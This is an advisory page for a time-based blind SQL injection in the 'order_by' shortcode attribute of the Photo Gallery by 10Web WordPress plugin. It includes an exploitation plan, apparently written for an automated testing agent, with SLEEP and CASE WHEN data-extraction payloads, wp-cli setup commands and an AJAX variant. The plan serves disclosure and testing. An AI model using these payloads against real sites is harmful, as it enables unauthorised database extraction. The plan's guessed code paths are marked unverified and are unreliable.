CVE-2026-7048

Photo Gallery by 10Web <= 1.8.40 - Authenticated (Contributor+) SQL Injection via 'order_by' Shortcode Attribute

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.8.41
Patched in
1d
Time to patch

Description

The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.8.40 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable by embedding a malicious shortcode in a post or draft, allowing the injected SQL to execute when the shortcode is rendered.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.8.40
PublishedMay 27, 2026
Last updatedMay 28, 2026
Affected pluginphoto-gallery

What Changed in the Fix

Changes introduced in v1.8.41

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7048 - Photo Gallery SQL Injection ## 1. Vulnerability Summary The **Photo Gallery by 10Web** plugin (<= 1.8.40) is vulnerable to an authenticated time-based blind SQL Injection. The vulnerability exists because the plugin fails to properly sanitize and prepar…

Show full research plan

Exploitation Research Plan: CVE-2026-7048 - Photo Gallery SQL Injection

1. Vulnerability Summary

The Photo Gallery by 10Web plugin (<= 1.8.40) is vulnerable to an authenticated time-based blind SQL Injection. The vulnerability exists because the plugin fails to properly sanitize and prepare the order_by attribute within the [Best_Wordpress_Gallery] shortcode before incorporating it into a database query. This allows an attacker with Contributor level access or higher to execute arbitrary SQL commands by embedding a malicious shortcode into a post or draft.

2. Attack Vector Analysis

  • Endpoint: Standard WordPress post/page rendering (or admin-ajax.php if the shortcode triggers an AJAX load).
  • Vulnerable Attribute: order_by inside the Best_Wordpress_Gallery shortcode.
  • Authentication: Authenticated user with at least Contributor privileges (required to save/preview posts containing shortcodes).
  • Preconditions:
    1. The Photo Gallery plugin must be active.
    2. At least one Gallery must exist in the system (to ensure the SQL query that uses order_by is executed).

3. Code Flow

  1. Registration: photo-gallery.php registers the shortcode:
    add_shortcode('Best_Wordpress_Gallery', array($this, 'shortcode'));
  2. Parsing: When a post containing [Best_Wordpress_Gallery order_by="..."] is rendered, WordPress calls the shortcode() method in the BWG class.
  3. Data Processing: The shortcode() method extracts attributes. The order_by attribute is passed down to a "Model" or "Controller" responsible for fetching images from the database (likely using WDWLibrary::get() logic or direct attribute access).
  4. SQL Sink: The value of order_by is concatenated into an ORDER BY clause of a $wpdb->get_results() call. Because wpdb->prepare cannot safely parameterize ORDER BY column names using %s (it adds single quotes, which breaks the column reference), the developer likely used direct string concatenation without whitelisting or sufficient escaping.

4. Nonce Acquisition Strategy

This vulnerability is exploited via a shortcode embedded in a post.

  • Initial Rendering: Viewing a published post or previewing a draft generally does not require a nonce for the initial shortcode execution.
  • AJAX Fallback: If the gallery loads data via AJAX (specifically via the bwg_frontend_data action registered in photo-gallery.php), a nonce might be required.
  • Strategy:
    1. Create a post with the shortcode using wp-cli.
    2. Navigate to the post URL.
    3. If the injection triggers on page load, no nonce is needed.
    4. If the injection occurs during an AJAX call, use browser_eval to extract the nonce from the localized script:
      browser_eval("window.bwg_objectsL10n?.bwg_nonce") (inferred based on plugin naming conventions, actual key to be verified by the agent in the page source).

5. Exploitation Strategy

The agent will perform a time-based blind SQL injection using the SLEEP() function.

  1. Preparation: Ensure a gallery exists to trigger the query.
  2. Payload Construction:
    The order_by parameter is injected into an ORDER BY clause. A subquery-based sleep is most reliable here.
    • Payload: (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  3. Request Execution:
    • Log in as a Contributor.
    • Create a draft post: [Best_Wordpress_Gallery id="1" order_by="(SELECT 1 FROM (SELECT(SLEEP(5)))a)"].
    • Request the preview URL of that post using the http_request tool.
    • Measure the response time.
  4. Data Extraction (Proof of Concept):
    To prove data exfiltration, check the first character of the database version:
    • Payload: (CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)

6. Test Data Setup

  1. User Creation: Create a contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Gallery Creation: Use wp-cli or wp eval to ensure a gallery exists in the {prefix}bwg_gallery table.
    wp eval 'global $wpdb; $wpdb->insert($wpdb->prefix . "bwg_gallery", ["name" => "Test Gallery", "slug" => "test-gallery", "published" => 1]);'
    
  3. Post Creation: Create a post with the shortcode.
    wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --format=ids) --post_content='[Best_Wordpress_Gallery id="1" order_by="id"]' --post_title='Gallery Page'

7. Expected Results

  • Normal Request: A request to the post with order_by="id" should return in < 1 second.
  • Malicious Request: A request with the SLEEP(5) payload should take approximately 5 seconds (or a multiple thereof, depending on how many times the query executes for the gallery view).
  • HTTP Status: 200 OK (The SQL error is suppressed or the sleep executes before the response is sent).

8. Verification Steps

After the http_request confirms the time delay:

  1. Verify the database state was not corrupted (though this is a SELECT injection).
  2. Check the WordPress debug.log (if enabled) for any SQL syntax errors that might provide clues to the query structure:
    tail -n 20 /var/www/html/wp-content/debug.log

9. Alternative Approaches

If the shortcode rendering does not immediately trigger the sleep:

  1. AJAX Endpoint: Targeted exploitation of the wp_ajax_bwg_frontend_data or wp_ajax_nopriv_bwg_frontend_data actions.
    • Action: bwg_frontend_data
    • Parameters: action=bwg_frontend_data&order_by=(SELECT...SLEEP(5))&nonce=[extracted_nonce]
  2. Boolean-Based: If the gallery sorting changes visibly based on the order_by logic (e.g., using IF(1=1, id, name)), use boolean-based exfiltration.
  3. IDOR Combination: If id="1" does not exist, iterate through id values until a valid gallery triggers the query.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.